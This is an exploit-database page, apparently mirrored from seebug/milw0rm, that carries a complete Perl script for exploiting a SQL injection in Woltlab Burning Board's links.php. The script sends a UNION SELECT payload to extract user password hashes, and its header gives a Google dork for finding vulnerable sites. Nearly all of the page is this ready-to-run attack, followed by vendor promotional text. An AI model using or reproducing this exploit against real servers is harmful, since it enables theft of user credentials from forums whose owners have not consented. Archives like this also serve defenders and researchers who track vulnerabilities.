Lucene search
K

Woltlab Burning Board <= 2.3.5 (links.php) SQL Injection Exploit

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 23 Views

Woltlab Burning Board SQL Injection Exploi

Code

                                                #!/usr/bin/perl

use IO::Socket;

print q{
################################################################################
##                                                                            ##
##  Woltlab Burning Board 2.3.4 &#60;= &#34;links.php&#34; SQL Injection Exploit          ##
##  - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -       ##
##  Exploit by       |  666 (SR-Crew)                                         ##
##  Bug by           |  x82                                                   ##
##  Googledork       |  inurl:/wbb2/links.php?cat                             ##
##  Usage            |  links.pl [server] [path]                              ##
##  - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -       ##
##                                                                            ##
################################################################################

};

$webpage = $ARGV[0];
$directory = $ARGV[1];

if (!$webpage||!$directory) { die &#34;[+] Exploit failed\n&#34;; }

$wbb_dir = 
&#34;http://&#34;.$webpage.$directory.&#34;links.php?cat=31337+union+select+password,userid+from+bb1_users&#34;;

$sock = IO::Socket::INET-&#62;new(Proto=&#62;&#34;tcp&#34;, PeerAddr=&#62;&#34;$webpage&#34;, 
PeerPort=&#62;&#34;80&#34;) || die &#34;[+] Can&#39;t connect to Server\n&#34;;
print &#34;[+] Exploiting....\n&#34;;
print $sock &#34;GET $wbb_dir HTTP/1.1\n&#34;;
print $sock &#34;Accept: */*\n&#34;;
print $sock &#34;User-Agent: Hacker\n&#34;;
print $sock &#34;Host: $webpage\n&#34;;
print $sock &#34;Connection: close\n\n&#34;;

while ($answer = &#60;$sock&#62;) {
	if ($answer =~ 
/(................................)&#60;\/span&#62;&#60;\/b&#62;&#60;\/font&#62;/) {
		print &#34;[+] Hash: $1\n&#34;;
		exit();
	}
	if ($answer =~ /SQL-DATABASE ERROR/) {
		break;
	}
}

$wbb_dir = 
&#34;http://&#34;.$webpage.$directory.&#34;links.php?cat=31337+union+select+password,userid+from+bb1_users&#34;;
close($sock);

$sock = IO::Socket::INET-&#62;new(Proto=&#62;&#34;tcp&#34;, PeerAddr=&#62;&#34;$webpage&#34;, 
PeerPort=&#62;&#34;80&#34;) || die &#34;[+] Can&#39;t connect to Server\n&#34;;
print $sock &#34;GET $wbb_dir HTTP/1.1\n&#34;;
print $sock &#34;Accept: */*\n&#34;;
print $sock &#34;User-Agent: Hacker\n&#34;;
print $sock &#34;Host: $webpage\n&#34;;
print $sock &#34;Connection: close\n\n&#34;;

while ($answer = &#60;$sock&#62;) {
	if ($answer =~ 
/(................................)&#60;\/span&#62;&#60;\/b&#62;&#60;\/font&#62;/) {
		print &#34;[+] Hash: $1\n&#34;;
		exit();
	}
	if ($answer =~ /SQL-DATABASE ERROR/) {
		print &#34;[+] Try replacing bb1_users with bb2_users\n&#34;;
		break;
	}
}
close($sock);

print &#34;[+] Exploit failed\n&#34;;

# milw0rm.com [2006-05-20]

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation